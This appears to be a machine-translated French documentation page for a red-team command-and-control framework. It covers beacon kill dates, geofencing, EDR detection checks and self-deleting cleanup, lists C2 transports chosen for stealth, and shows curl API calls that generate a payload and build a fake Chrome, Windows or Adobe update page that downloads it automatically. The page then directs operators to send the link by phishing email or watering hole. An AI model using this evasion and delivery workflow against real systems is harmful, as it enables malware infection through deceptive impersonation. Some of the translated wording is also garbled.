Configurez des garde-fous d'exécution au moment de l'exécution pour empêcher l'exécution de beacons dans des environnements non autorisés.
"guardrails": {
"kill_date": "2026-03-31",
"working_hours": "08:00-18:00",
"working_days": "Mon-Fri",
"timezone": "America/New_York",
"geofence_ips": ["10.10.10.0/24"],
"geofence_hostnames": ["WS01", "WS02", "DC01"],
"geofence_domains": ["corp.local"],
"geofence_usernames": ["labuser", "CORP\\jsmith"],
"dns_canary": "canary.yourdomain.com",
"edr_check": true
}
| Champ | Type | Description |
|---|---|---|
kill_date | chaîne | Date après laquelle le beacon s'arrête automatiquement (format AAAA-MM-JJ) |
working_hours | chaîne | Heures pendant lesquelles le beacon est active (HH:MM-HH:MM) |
working_days | chaîne | Jours pendant lesquels le beacon est active (du lundi au vendredi, etc.) |
timezone | chaîne | Fuseau horaire Windows pour les heures de travail (16 zones communes cartographiées) |
geofence_ips | tableau | Plages IP/CIDR autorisées : le beacon se ferme si elle n'est pas à portée |
geofence_hostnames | tableau | Noms d'hôte autorisés : le beacon se ferme si le nom d'hôte ne correspond pas |
geofence_domains | tableau | Domaines autorisés : le beacon se ferme si elle n'est pas jointe au domaine répertorié |
geofence_usernames | tableau | Noms d'utilisateur autorisés - le beacon se ferme si elle est exécutée en tant qu'utilisateur non répertorié |
dns_canary | chaîne | Domaine DNS Canary – le beacon résout ce problème et se déclenche si elle est détectée (analyste Canary) |
edr_check | bool | Exécuter la vérification de détection EDR au démarrage (10 signatures du fournisseur) |
La géolocalisation est revérifiée tous les 10 cycles d'interrogation (et non à chaque cycle) pour minimiser le risque de détection. La suppression des heures de travail utilise un seul long sommeil obscurci au lieu de boucles rapides de contrôle du sommeil. La fonction CleanupArtifacts supprime les noms de tâches planifiées, les modèles de registre et supprime automatiquement le binaire du beacon via un fichier batch à la sortie.
Sélection des transports¶
Sélectionnez le protocole de transport C2. Le transport est détecté automatiquement à partir du type d'listener dans l'interface utilisateur, mais peut être explicitement défini dans l'API.
| Transports | Valeur | Description |
|---|---|---|
| HTTP | http | HTTP non chiffré (laboratoire uniquement) |
| HTTPS | https | HTTP crypté TLS (valeur par défaut recommandée) |
| RAPIDE | quic | HTTP/3 sur QUIC/UDP avec TLS 1.3 |
| DNS | dns | C2 basé sur DNS (faible bande passante, haute furtivité) |
| SMB | smb | Tube nommé C2 (pivotement interne) |
Voir QUIC Listener pour plus de détails sur le transport QUIC.
Livraison au volant¶
Créez une page de destination d'ingénierie sociale qui héberge un téléchargement de payload déguisé en mise à jour logicielle légitime.
POST /api/v1/payloads/{id}/driveby
| Champ | Type | Obligatoire | Description |
|---|---|---|---|
template | chaîne | Oui | Modèle de page : chrome, windows, adobe |
auto_download | bool | Non | Déclencher le téléchargement automatiquement au chargement de la page |
# Generate a payload first
PAYLOAD_ID=$(curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f"
}' | jq -r '.id')
# Create a drive-by page using the Chrome update template
curl -s -X POST "https://stentor.app/api/v1/payloads/$PAYLOAD_ID/driveby" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"template": "chrome",
"auto_download": true
}'
Réponse :
{
"driveby_url": "http://10.0.0.50/update/chrome/<payload-id>?auto=true",
"payload_url": "http://10.0.0.50/payload/<payload-id>",
"template": "chrome",
"payload_id": "<payload-id>"
}
Modèles disponibles :
| Modèle | Se fait passer pour | Idéal pour |
|---|---|---|
chrome | Mise à jour de Google Chrome | Ciblage large : Chrome est le navigateur le plus courant |
windows | Mise à jour du système Windows | Environnements d'entreprise avec prise en charge des mises à jour |
adobe | Mise à jour du produit Adobe | Environnements avec le logiciel Adobe installé |
Flux de travail au volant
- Générez un payload avec le format souhaité
- Créez une page de passage avec un modèle approprié
- Envoyez le
driveby_urlaux cibles via un e-mail de phishing, un point d'eau ou une ingénierie sociale - Surveillez les téléchargements de payloads via le champ
download_countsur l'objet de payload